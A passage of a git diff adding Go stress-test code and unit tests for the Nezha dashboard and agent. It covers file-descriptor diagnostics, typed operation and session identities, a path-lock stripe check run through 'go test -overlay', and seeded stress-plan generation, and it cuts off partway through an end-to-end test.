+ require.Len(t, tail.Samples, 1) + require.ErrorIs(t, tail.Err, context.Canceled) +} + +func TestFDDiagnosticTail_DoesNotInvokeSamplerAfterCancellation(t *testing.T) { + // Given + ctx, cancel := context.WithCancel(t.Context()) + cancel() + called := false + + // When + tail := collectFDDiagnosticTail(fdDiagnosticTailSpec{Context: ctx, PID: 101, Interval: time.Hour, Sample: func(context.Context, int) (processharness.Sample, error) { + called = true + return processharness.Sample{}, nil + }}) + + // Then + require.False(t, called) + require.ErrorIs(t, tail.Err, context.Canceled) +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_test.go new file mode 100644 index 00000000..c8261dfa --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_test.go @@ -0,0 +1,171 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "encoding/json" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func TestFDDiagnosticEnabled_OnlyAcceptsExactOne(t *testing.T) { + for _, value := range []string{"", "0", "true", "01", " 1", "1 ", "\t1"} { + require.False(t, fdDiagnosticEnabled(value), "value=%q", value) + } + require.True(t, fdDiagnosticEnabled("1")) +} + +func TestFDDiagnosticCandidates_ExcludeDashboardAndMatchOrdinals(t *testing.T) { + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{Enabled: true, TailResultCapacity: 8, Sample: fdDiagnosticTestSampler}) + agentOne := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "one"}) + agentTwo := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 2, PID: 102, BaselineCount: 8, EndCount: 8, Target: "two"}) + dashboard := stressDiagnosticDashboardWindow(t, stressDiagnosticDashboardWindowSpec{PID: 100, BaselineCount: 8, EndCount: 9}) + collector.RecordBaseline(dashboard.baseline) + collector.RecordBaseline(agentTwo.baseline) + collector.RecordBaseline(agentOne.baseline) + + collector.RecordEnd(t.Context(), agentTwo.end) + collector.RecordEnd(t.Context(), dashboard.end) + collector.RecordEnd(t.Context(), agentOne.end) + records := collector.WaitRecords() + + require.Len(t, records, 1) + require.Equal(t, 1, records[0].AgentOrdinal) + require.Equal(t, 101, records[0].AgentPID) +} + +func TestFDDiagnosticCandidates_UseOnlyFinalSampleCounts(t *testing.T) { + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{Enabled: true, TailResultCapacity: 8, Sample: fdDiagnosticTestSampler}) + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 8, Target: "stable"}) + pair.end.Window.Samples[0].NonStdioFDCount = 9 + collector.RecordBaseline(pair.baseline) + + collector.RecordEnd(t.Context(), pair.end) + require.Empty(t, collector.WaitRecords()) + + pair.end.Window.Samples[len(pair.end.Window.Samples)-1].NonStdioFDCount = 9 + collector = newFDDiagnosticCollector(fdDiagnosticCollectorSpec{Enabled: true, TailResultCapacity: 8, Sample: fdDiagnosticTestSampler}) + collector.RecordBaseline(pair.baseline) + collector.RecordEnd(t.Context(), pair.end) + require.Len(t, collector.WaitRecords(), 1) +} + +func TestFDDiagnosticRecord_ReportsIdentityChangeWithoutTail(t *testing.T) { + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "changed"}) + pair.end.Identity = agent.ProcessIdentity{Generation: 2, PID: 202} + candidate := fdDiagnosticCandidate{Baseline: pair.baseline, End: pair.end} + + record, tail := newFDDiagnosticRecord(candidate, 999) + + require.Equal(t, "process_identity_changed", record.LifecycleStatus) + require.False(t, tail) + require.Empty(t, record.Lifecycle) +} + +func TestFDDiagnosticRecord_RejectsStressProcessPIDMismatch(t *testing.T) { + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "process-pid-mismatch"}) + pair.end.Process.PID = 202 + candidate := fdDiagnosticCandidate{Baseline: pair.baseline, End: pair.end} + + record, tail := newFDDiagnosticRecord(candidate, 999) + + require.Equal(t, "process_identity_changed", record.LifecycleStatus) + require.False(t, tail) +} + +func TestFDDiagnosticRecord_RejectsZeroRuntimeGeneration(t *testing.T) { + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "zero-generation"}) + pair.end.Identity.Generation = 0 + candidate := fdDiagnosticCandidate{Baseline: pair.baseline, End: pair.end} + + record, tail := newFDDiagnosticRecord(candidate, 999) + + require.Equal(t, "process_identity_changed", record.LifecycleStatus) + require.False(t, tail) +} + +func TestFDDiagnosticRecord_EncodesStableObservedAtForEveryWindowSample(t *testing.T) { + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "timestamps"}) + baselineTime := time.Date(2025, time.January, 2, 3, 4, 5, 0, time.UTC) + endTime := baselineTime.Add(time.Minute) + for index := range pair.baseline.Window.Samples { + pair.baseline.Window.Samples[index].SampledAt = baselineTime.Add(time.Duration(index) * time.Second) + pair.end.Window.Samples[index].SampledAt = endTime.Add(time.Duration(index) * time.Second) + } + candidate := fdDiagnosticCandidate{Baseline: pair.baseline, End: pair.end} + + record, tail := newFDDiagnosticRecord(candidate, 999) + encoded, err := json.Marshal(record) + + require.True(t, tail) + require.NoError(t, err) + require.Equal(t, baselineTime, record.Baseline.Samples[0].ObservedAt) + require.Equal(t, endTime, record.End.Samples[0].ObservedAt) + require.Contains(t, string(encoded), `"observed_at":"2025-01-02T03:04:05Z"`) +} + +func TestFDDiagnosticRecord_DiffsFinalObservationsByExactIdentity(t *testing.T) { + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "diff"}) + pair.baseline.Window.Samples[4].FDObservations = []processharness.FDObservation{{Number: 5, Target: "beta"}, {Number: 4, Target: "alpha"}} + pair.end.Window.Samples[4].FDObservations = []processharness.FDObservation{{Number: 6, Target: "gamma"}, {Number: 5, Target: "beta"}} + candidate := fdDiagnosticCandidate{Baseline: pair.baseline, End: pair.end} + + record, tail := newFDDiagnosticRecord(candidate, 999) + + require.True(t, tail) + require.Equal(t, []processharness.FDObservation{{Number: 6, Target: "gamma"}}, record.AddedFinal) + require.Equal(t, []processharness.FDObservation{{Number: 4, Target: "alpha"}}, record.RemovedFinal) +} + +func TestFDDiagnosticLifecycle_ClassifiesEachFinalAddition(t *testing.T) { + added := []processharness.FDObservation{{Number: 3, Target: "before"}, {Number: 4, Target: "during"}, {Number: 5, Target: "through"}, {Number: 6, Target: "intermittent"}, {Number: 7, Target: "reused"}} + tail := []fdDiagnosticSample{ + stressDiagnosticSample(1, []processharness.FDObservation{{Number: 4, Target: "during"}, {Number: 5, Target: "through"}, {Number: 6, Target: "intermittent"}, {Number: 7, Target: "reused"}}), + stressDiagnosticSample(2, []processharness.FDObservation{{Number: 5, Target: "through"}, {Number: 7, Target: "other"}}), + stressDiagnosticSample(3, []processharness.FDObservation{{Number: 5, Target: "through"}, {Number: 6, Target: "intermittent"}, {Number: 7, Target: "reused"}}), + } + + lifecycle := classifyFDDiagnosticLifecycle(added, tail) + + require.Equal(t, []fdDiagnosticLifecycle{ + {Observation: processharness.FDObservation{Number: 3, Target: "before"}, Status: "cleared_before_tail"}, + {Observation: processharness.FDObservation{Number: 4, Target: "during"}, Status: "cleared_during_tail"}, + {Observation: processharness.FDObservation{Number: 5, Target: "through"}, Status: "observed_through_tail"}, + {Observation: processharness.FDObservation{Number: 6, Target: "intermittent"}, Status: "intermittent_or_reused"}, + {Observation: processharness.FDObservation{Number: 7, Target: "reused"}, Status: "intermittent_or_reused", NumberReused: true}, + }, lifecycle) +} + +func TestFDDiagnosticFields_DoNotChangeStressEvaluationOrEvidenceJSON(t *testing.T) { + resource := stressDashboardResourceFixture(100) + beforeEvaluation, err := EvaluateStressResource(resource) + require.NoError(t, err) + for sampleIndex := range resource.Baseline.Samples { + resource.Baseline.Samples[sampleIndex].FDObservations = []processharness.FDObservation{{Number: 9, Target: "diagnostic"}} + resource.End.Samples[sampleIndex].FDObservations = []processharness.FDObservation{{Number: 9, Target: "diagnostic"}} + } + afterEvaluation, err := EvaluateStressResource(resource) + require.NoError(t, err) + profile := mustStressPRFullProfile(t) + evidence := validStressEvidence(t, profile) + beforeEvidence, err := json.Marshal(evidence) + require.NoError(t, err) + for iteration := range evidence.Iterations { + for resourceIndex := range evidence.Iterations[iteration].Resources { + for sampleIndex := range evidence.Iterations[iteration].Resources[resourceIndex].Baseline.Samples { + evidence.Iterations[iteration].Resources[resourceIndex].Baseline.Samples[sampleIndex].FDObservations = []processharness.FDObservation{{Number: 9, Target: "diagnostic"}} + evidence.Iterations[iteration].Resources[resourceIndex].End.Samples[sampleIndex].FDObservations = []processharness.FDObservation{{Number: 9, Target: "diagnostic"}} + } + } + } + afterEvidence, err := json.Marshal(evidence) + require.NoError(t, err) + + require.Equal(t, beforeEvaluation, afterEvaluation) + require.Equal(t, string(beforeEvidence), string(afterEvidence)) +} diff --git a/integration/agentcompat/internal/scenario/stress_identity.go b/integration/agentcompat/internal/scenario/stress_identity.go new file mode 100644 index 00000000..17ae8a56 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_identity.go @@ -0,0 +1,185 @@ +//go:build linux + +package scenario + +import ( + "encoding/json" + "errors" + "fmt" +) + +var ErrStressIdentity = errors.New("stress identity is invalid") + +type StressAgentOrdinal struct{ value int } + +func NewStressAgentOrdinal(value int) (StressAgentOrdinal, error) { + if value < 1 { + return StressAgentOrdinal{}, fmt.Errorf("agent ordinal %d: %w", value, ErrStressIdentity) + } + return StressAgentOrdinal{value: value}, nil +} + +func (ordinal StressAgentOrdinal) Int() int { return ordinal.value } + +func (ordinal StressAgentOrdinal) MarshalJSON() ([]byte, error) { return json.Marshal(ordinal.value) } + +func (ordinal *StressAgentOrdinal) UnmarshalJSON(data []byte) error { + var value int + if err := json.Unmarshal(data, &value); err != nil || value < 1 { + return ErrStressIdentity + } + ordinal.value = value + return nil +} + +type StressOperationID struct{ value string } + +func NewStressOperationID(value string) (StressOperationID, error) { + if value == "" { + return StressOperationID{}, ErrStressIdentity + } + return StressOperationID{value: value}, nil +} + +func (identity StressOperationID) String() string { return identity.value } + +func (identity StressOperationID) MarshalJSON() ([]byte, error) { return json.Marshal(identity.value) } + +func (identity *StressOperationID) UnmarshalJSON(data []byte) error { + var value string + if err := json.Unmarshal(data, &value); err != nil || value == "" { + return ErrStressIdentity + } + identity.value = value + return nil +} + +type StressSessionID struct{ value string } + +func NewStressSessionID(value string) (StressSessionID, error) { + if value == "" { + return StressSessionID{}, ErrStressIdentity + } + return StressSessionID{value: value}, nil +} + +func (identity StressSessionID) String() string { return identity.value } + +func (identity StressSessionID) MarshalJSON() ([]byte, error) { return json.Marshal(identity.value) } + +func (identity *StressSessionID) UnmarshalJSON(data []byte) error { + var value string + if err := json.Unmarshal(data, &value); err != nil || value == "" { + return ErrStressIdentity + } + identity.value = value + return nil +} + +type StressPATID struct{ value string } + +func NewStressPATID(value string) (StressPATID, error) { + if value == "" { + return StressPATID{}, ErrStressIdentity + } + return StressPATID{value: value}, nil +} + +func (identity StressPATID) String() string { return identity.value } + +func (identity StressPATID) MarshalJSON() ([]byte, error) { return json.Marshal(identity.value) } + +func (identity *StressPATID) UnmarshalJSON(data []byte) error { + var value string + if err := json.Unmarshal(data, &value); err != nil || value == "" { + return ErrStressIdentity + } + identity.value = value + return nil +} + +type StressOperationKind string + +const ( + StressOperationExec StressOperationKind = "exec" + StressOperationFilesystem StressOperationKind = "filesystem" +) + +type StressSessionKind string + +const ( + StressSessionTerminal StressSessionKind = "terminal" + StressSessionNAT StressSessionKind = "nat" + StressSessionFM StressSessionKind = "file-manager" +) + +type StressProcessKind string + +const ( + StressProcessDashboard StressProcessKind = "dashboard" + StressProcessAgent StressProcessKind = "agent" +) + +type StressProcessIdentity struct { + Kind StressProcessKind `json:"kind"` + Agent StressAgentOrdinal `json:"agent,omitempty"` + PID int `json:"pid"` +} + +func (identity StressProcessIdentity) MarshalJSON() ([]byte, error) { + type processWire struct { + Kind StressProcessKind `json:"kind"` + Agent *StressAgentOrdinal `json:"agent,omitempty"` + PID int `json:"pid"` + } + var agent *StressAgentOrdinal + if identity.Kind == StressProcessAgent { + if identity.Agent.Int() < 1 { + return nil, ErrStressIdentity + } + agent = &identity.Agent + } + return json.Marshal(processWire{Kind: identity.Kind, Agent: agent, PID: identity.PID}) +} + +func (identity *StressProcessIdentity) UnmarshalJSON(data []byte) error { + type processWire struct { + Kind StressProcessKind `json:"kind"` + Agent *StressAgentOrdinal `json:"agent"` + PID int `json:"pid"` + } + var wire processWire + if err := json.Unmarshal(data, &wire); err != nil || wire.PID < 1 { + return ErrStressIdentity + } + switch wire.Kind { + case StressProcessDashboard: + *identity = StressProcessIdentity{Kind: wire.Kind, PID: wire.PID} + case StressProcessAgent: + if wire.Agent == nil || wire.Agent.Int() < 1 { + return ErrStressIdentity + } + *identity = StressProcessIdentity{Kind: wire.Kind, Agent: *wire.Agent, PID: wire.PID} + default: + return ErrStressIdentity + } + return nil +} + +func NewStressDashboardProcess(pid int) (StressProcessIdentity, error) { + if pid < 1 { + return StressProcessIdentity{}, fmt.Errorf("dashboard PID %d: %w", pid, ErrStressIdentity) + } + return StressProcessIdentity{Kind: StressProcessDashboard, PID: pid}, nil +} + +func NewStressAgentProcess(agent StressAgentOrdinal, pid int) (StressProcessIdentity, error) { + if agent.Int() < 1 || pid < 1 { + return StressProcessIdentity{}, fmt.Errorf("agent process ordinal=%d PID=%d: %w", agent.Int(), pid, ErrStressIdentity) + } + return StressProcessIdentity{Kind: StressProcessAgent, Agent: agent, PID: pid}, nil +} + +func (identity StressProcessIdentity) key() string { + return fmt.Sprintf("%s:%d", identity.Kind, identity.Agent.Int()) +} diff --git a/integration/agentcompat/internal/scenario/stress_path_lock.go b/integration/agentcompat/internal/scenario/stress_path_lock.go new file mode 100644 index 00000000..d3cb41b7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_path_lock.go @@ -0,0 +1,73 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" +) + +var ErrStressPathLockProof = errors.New("stress path-lock proof is invalid") + +type stressPathLockProof struct { + Stripes int +} + +func (proof stressPathLockProof) Validate() error { + if proof.Stripes != 1024 { + return fmt.Errorf("stripes=%d: %w", proof.Stripes, ErrStressPathLockProof) + } + return nil +} + +func proveStressPathLockStripes(ctx context.Context, sourceDir string) (stressPathLockProof, error) { + if sourceDir == "" { + return stressPathLockProof{}, ErrStressPathLockProof + } + root, err := os.MkdirTemp("", "nezha-stress-path-lock-") + if err != nil { + return stressPathLockProof{}, err + } + defer os.RemoveAll(root) + probe := filepath.Join(root, "agentcompat_path_lock_proof_test.go") + content := "package main\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n)\n\nconst agentCompatPathLockStripes = fsPathLockStripes\n\nvar _ [agentCompatPathLockStripes - 1024]struct{}\nvar _ [1024 - agentCompatPathLockStripes]struct{}\n\nfunc TestAgentCompatPathLockProof(t *testing.T) {\n\tfmt.Printf(\"AGENTCOMPAT_PATH_LOCK_STRIPES=%d\\n\", agentCompatPathLockStripes)\n}\n" + if err := os.WriteFile(probe, []byte(content), 0o600); err != nil { + return stressPathLockProof{}, err + } + overlayPath := filepath.Join(root, "overlay.json") + original := filepath.Join(sourceDir, "cmd", "agent", "mcp_fs_path_lock_bounded_test.go") + overlayData, err := json.Marshal(struct { + Replace map[string]string `json:"Replace"` + }{Replace: map[string]string{original: probe}}) + if err != nil { + return stressPathLockProof{}, err + } + if err := os.WriteFile(overlayPath, overlayData, 0o600); err != nil { + return stressPathLockProof{}, err + } + command := exec.CommandContext(ctx, "go", "test", "-overlay", overlayPath, "./cmd/agent", "-run", "^TestAgentCompatPathLockProof$", "-count=1", "-v") + command.Dir = sourceDir + command.Env = append(os.Environ(), "GOFLAGS=") + output, err := command.CombinedOutput() + if err != nil { + return stressPathLockProof{}, fmt.Errorf("compile path-lock proof: %w: %s", err, output) + } + for _, line := range strings.Split(string(output), "\n") { + if !strings.HasPrefix(line, "AGENTCOMPAT_PATH_LOCK_STRIPES=") { + continue + } + value, parseErr := strconv.Atoi(strings.TrimPrefix(line, "AGENTCOMPAT_PATH_LOCK_STRIPES=")) + if parseErr == nil { + proof := stressPathLockProof{Stripes: value} + return proof, proof.Validate() + } + } + return stressPathLockProof{}, fmt.Errorf("path-lock proof output missing: %w", ErrStressPathLockProof) +} diff --git a/integration/agentcompat/internal/scenario/stress_path_lock_test.go b/integration/agentcompat/internal/scenario/stress_path_lock_test.go new file mode 100644 index 00000000..07c795c5 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_path_lock_test.go @@ -0,0 +1,35 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "crypto/sha256" + "os" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestStressPathLockProofRequiresExactStripeCount(t *testing.T) { + for _, stripes := range []int{1023, 1025} { + require.ErrorIs(t, (stressPathLockProof{Stripes: stripes}).Validate(), ErrStressPathLockProof) + } + require.NoError(t, (stressPathLockProof{Stripes: 1024}).Validate()) +} + +func TestStressPathLockProofDoesNotModifyAgentSource(t *testing.T) { + sourceDir := os.Getenv("AGENTCOMPAT_AGENT_SOURCE") + if sourceDir == "" { + t.Skip("AGENTCOMPAT_AGENT_SOURCE is not configured") + } + path := sourceDir + "/cmd/agent/mcp_fs_path_lock.go" + before, err := os.ReadFile(path) + require.NoError(t, err) + beforeHash := sha256.Sum256(before) + proof, err := proveStressPathLockStripes(t.Context(), sourceDir) + require.NoError(t, err) + require.NoError(t, proof.Validate()) + after, err := os.ReadFile(path) + require.NoError(t, err) + require.Equal(t, beforeHash, sha256.Sum256(after)) +} diff --git a/integration/agentcompat/internal/scenario/stress_plan.go b/integration/agentcompat/internal/scenario/stress_plan.go new file mode 100644 index 00000000..de06b859 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_plan.go @@ -0,0 +1,120 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +var ErrStressPlan = errors.New("stress plan is invalid") + +type StressOperationPlan struct { + ID StressOperationID `json:"id"` + Round int `json:"round"` + Agent StressAgentOrdinal `json:"agent"` + PAT StressPATID `json:"pat_id"` + Kind StressOperationKind `json:"kind"` +} + +type StressRoundPlan struct { + Round int `json:"round"` + Operations []StressOperationPlan `json:"operations"` +} + +type StressSessionPlan struct { + ID StressSessionID `json:"id"` + Kind StressSessionKind `json:"kind"` + Ordinal int `json:"ordinal"` + Agent StressAgentOrdinal `json:"agent"` +} + +type StressPlan struct { + Profile contract.ProfileName `json:"profile"` + Seed contract.Seed `json:"seed"` + Rounds []StressRoundPlan `json:"rounds"` + Sessions []StressSessionPlan `json:"sessions"` +} + +func GenerateStressPlan(profile contract.Profile, seed contract.Seed) (StressPlan, error) { + if seed == 0 || profile.AgentCount() < 1 || profile.StressRounds() < 1 || profile.ConcurrentSessions() < 1 { + return StressPlan{}, ErrStressPlan + } + expectedOperations := profile.AgentCount() * profile.StressRounds() * 2 + if profile.ConcurrentOperations() != expectedOperations { + return StressPlan{}, fmt.Errorf("concurrent operations=%d want=%d: %w", profile.ConcurrentOperations(), expectedOperations, ErrStressPlan) + } + plan := StressPlan{Profile: profile.Name(), Seed: seed} + plan.Rounds = make([]StressRoundPlan, profile.StressRounds()) + for roundIndex := range plan.Rounds { + round := roundIndex + 1 + operations, err := stressRoundOperations(seed, round, profile.AgentCount()) + if err != nil { + return StressPlan{}, err + } + plan.Rounds[roundIndex] = StressRoundPlan{Round: round, Operations: operations} + } + sessions, err := stressSessionPlans(seed, profile.AgentCount(), profile.ConcurrentSessions()) + if err != nil { + return StressPlan{}, err + } + plan.Sessions = sessions + return plan, nil +} + +func stressRoundOperations(seed contract.Seed, round, agentCount int) ([]StressOperationPlan, error) { + operations := make([]StressOperationPlan, 0, agentCount*2) + for agentValue := 1; agentValue <= agentCount; agentValue++ { + agent, err := NewStressAgentOrdinal(agentValue) + if err != nil { + return nil, err + } + pat, err := NewStressPATID(fmt.Sprintf("pat-%016x-a%02d", uint64(seed), agentValue)) + if err != nil { + return nil, err + } + for _, kind := range []StressOperationKind{StressOperationExec, StressOperationFilesystem} { + identity, idErr := NewStressOperationID(fmt.Sprintf("op-%016x-r%02d-a%02d-%s", uint64(seed), round, agentValue, kind)) + if idErr != nil { + return nil, idErr + } + operations = append(operations, StressOperationPlan{ID: identity, Round: round, Agent: agent, PAT: pat, Kind: kind}) + } + } + random := stressRandom(uint64(seed) ^ uint64(round)*0x9e3779b97f4a7c15) + for index := len(operations) - 1; index > 0; index-- { + swap := int(random.next() % uint64(index+1)) + operations[index], operations[swap] = operations[swap], operations[index] + } + return operations, nil +} + +func stressSessionPlans(seed contract.Seed, agentCount, countPerKind int) ([]StressSessionPlan, error) { + sessions := make([]StressSessionPlan, 0, countPerKind*3) + for _, kind := range []StressSessionKind{StressSessionTerminal, StressSessionNAT, StressSessionFM} { + for index := 1; index <= countPerKind; index++ { + agent, err := NewStressAgentOrdinal((index-1)%agentCount + 1) + if err != nil { + return nil, err + } + identity, err := NewStressSessionID(fmt.Sprintf("session-%016x-%s-%02d", uint64(seed), kind, index)) + if err != nil { + return nil, err + } + sessions = append(sessions, StressSessionPlan{ID: identity, Kind: kind, Ordinal: index, Agent: agent}) + } + } + return sessions, nil +} + +type stressRandom uint64 + +func (random *stressRandom) next() uint64 { + *random += 0x9e3779b97f4a7c15 + value := uint64(*random) + value = (value ^ (value >> 30)) * 0xbf58476d1ce4e5b9 + value = (value ^ (value >> 27)) * 0x94d049bb133111eb + return value ^ (value >> 31) +} diff --git a/integration/agentcompat/internal/scenario/stress_plan_test.go b/integration/agentcompat/internal/scenario/stress_plan_test.go new file mode 100644 index 00000000..06d5837a --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_plan_test.go @@ -0,0 +1,109 @@ +//go:build linux + +package scenario + +import ( + "encoding/json" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestStress_PlanHasFourRoundsSixteenOpsEach(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + + require.NoError(t, err) + require.Len(t, plan.Rounds, 4) + for _, round := range plan.Rounds { + require.Len(t, round.Operations, 16) + } +} + +func TestStress_PlanUsesTwoRequestsPerPATPerRound(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + + for _, round := range plan.Rounds { + counts := make(map[StressPATID]int) + kinds := make(map[StressPATID]map[StressOperationKind]int) + for _, operation := range round.Operations { + counts[operation.PAT]++ + if kinds[operation.PAT] == nil { + kinds[operation.PAT] = make(map[StressOperationKind]int) + } + kinds[operation.PAT][operation.Kind]++ + } + require.Len(t, counts, 8) + for pat, count := range counts { + require.Equal(t, 2, count) + require.Equal(t, 1, kinds[pat][StressOperationExec]) + require.Equal(t, 1, kinds[pat][StressOperationFilesystem]) + } + } +} + +func TestStress_PlanHas64UniqueStableIDs(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + + seen := make(map[StressOperationID]struct{}) + for _, round := range plan.Rounds { + for _, operation := range round.Operations { + _, duplicate := seen[operation.ID] + require.False(t, duplicate) + seen[operation.ID] = struct{}{} + } + } + require.Len(t, seen, 64) +} + +func TestStress_PlanFixedSeedReproducesByteForByte(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + first, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + second, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + + firstJSON, err := json.Marshal(first) + require.NoError(t, err) + secondJSON, err := json.Marshal(second) + require.NoError(t, err) + require.Equal(t, firstJSON, secondJSON) +} + +func TestStress_RejectsLaunchWindowOverOneSecond(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + evidence := successfulStressRoundEvidence(plan.Rounds[0]) + evidence.Operations[len(evidence.Operations)-1].LaunchedAt = evidence.Operations[0].LaunchedAt.Add(time.Second + time.Nanosecond) + evidence.Operations[len(evidence.Operations)-1].CompletedAt = evidence.Operations[len(evidence.Operations)-1].LaunchedAt.Add(time.Millisecond) + + err = ValidateStressRoundEvidence(plan.Rounds[0], evidence) + + require.ErrorIs(t, err, ErrStressLaunchWindow) +} + +func successfulStressRoundEvidence(plan StressRoundPlan) StressRoundEvidence { + started := time.Unix(100, 0) + operations := make([]StressOperationEvidence, len(plan.Operations)) + for index, operation := range plan.Operations { + operations[index] = StressOperationEvidence{ + ID: operation.ID, Round: operation.Round, Agent: operation.Agent, PAT: operation.PAT, Kind: operation.Kind, SuccessProof: "ok", + LaunchedAt: started, CompletedAt: started.Add(time.Millisecond), Succeeded: true, + } + } + return StressRoundEvidence{Round: plan.Round, Operations: operations} +} diff --git a/integration/agentcompat/internal/scenario/stress_qa_artifact_test.go b/integration/agentcompat/internal/scenario/stress_qa_artifact_test.go new file mode 100644 index 00000000..e762831f --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_qa_artifact_test.go @@ -0,0 +1,36 @@ +//go:build linux + +package scenario + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestStress_WriteTypedQAArtifact(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + fixture := stressDashboardResourceFixture(100) + evaluation, err := EvaluateStressResource(fixture) + require.NoError(t, err) + artifact := struct { + Plan StressPlan `json:"plan"` + Resource StressResourceEvaluation `json:"resource"` + }{Plan: plan, Resource: evaluation} + data, err := json.MarshalIndent(artifact, "", " ") + require.NoError(t, err) + path := filepath.Join(t.TempDir(), "stress-contracts.json") + require.NoError(t, os.WriteFile(path, data, 0o600)) + require.Contains(t, string(data), `"profile": "pr-full"`) + require.Contains(t, string(data), `"rounds"`) + require.Contains(t, string(data), `"rss_limit_bytes": 67108864`) + require.NotEmpty(t, path) +} diff --git a/integration/agentcompat/internal/scenario/stress_real_e2e_test.go b/integration/agentcompat/internal/scenario/stress_real_e2e_test.go new file mode 100644 index 00000000..15fdefcd --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_real_e2e_test.go @@ -0,0 +1,229 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "net/http" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func TestStressPRFullEightAgentExactlyOnce(t *testing.T) { + requireHeldRealSources(t) + paths, err := contract.NewPaths(os.Getenv("AGENTCOMPAT_NEZHA_SOURCE"), os.Getenv("AGENTCOMPAT_AGENT_SOURCE"), filepath.Join("/tmp", "nezha-agentcompat-real-stress")) + require.NoError(t, err) + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + ctx, cancel := context.WithTimeout(t.Context(), contract.PRFullSuiteDeadline) + defer cancel() + realFixture, err := startHeldSessionSetRealFixture(ctx, paths, plan) + require.NoError(t, err) + t.Cleanup(func() { _ = realFixture.close(context.Background(), nil) }) + input, err := realFixture.input(plan) + require.NoError(t, err) + set, err := NewHeldSessionSet(ctx, input) + require.NoError(t, err) + fdDiagnostics := newRealFDDiagnosticCollector(fdDiagnosticEnabled(os.Getenv("AGENTCOMPAT_FD_DIAGNOSTIC_TAIL"))) + defer fdDiagnostics.WaitAndLog(t) + dashboardIdentity := realFixture.dashboard.RuntimeIdentity() + agentIdentities := make([]agent.ProcessIdentity, len(realFixture.agents)) + workspaceRoots := make([]string, 0, len(realFixture.agents)+2) + workspaceRoots = append(workspaceRoots, realFixture.dashboard.WorkspaceRoot(), realFixture.preparedBinary.WorkspaceRoot()) + for index, instance := range realFixture.agents { + agentIdentities[index] = instance.RuntimeIdentity() + workspaceRoots = append(workspaceRoots, instance.WorkspaceRoot()) + } + t.Cleanup(func() { _ = set.Close(context.Background()) }) + warmups, warmupErr := runStressWarmups(ctx, realFixture, plan) + require.NoError(t, warmupErr) + require.NoError(t, drainStressDashboardSQLiteJournal(ctx, realFixture)) + baselineResources, resourceErr := captureStressResources(ctx, 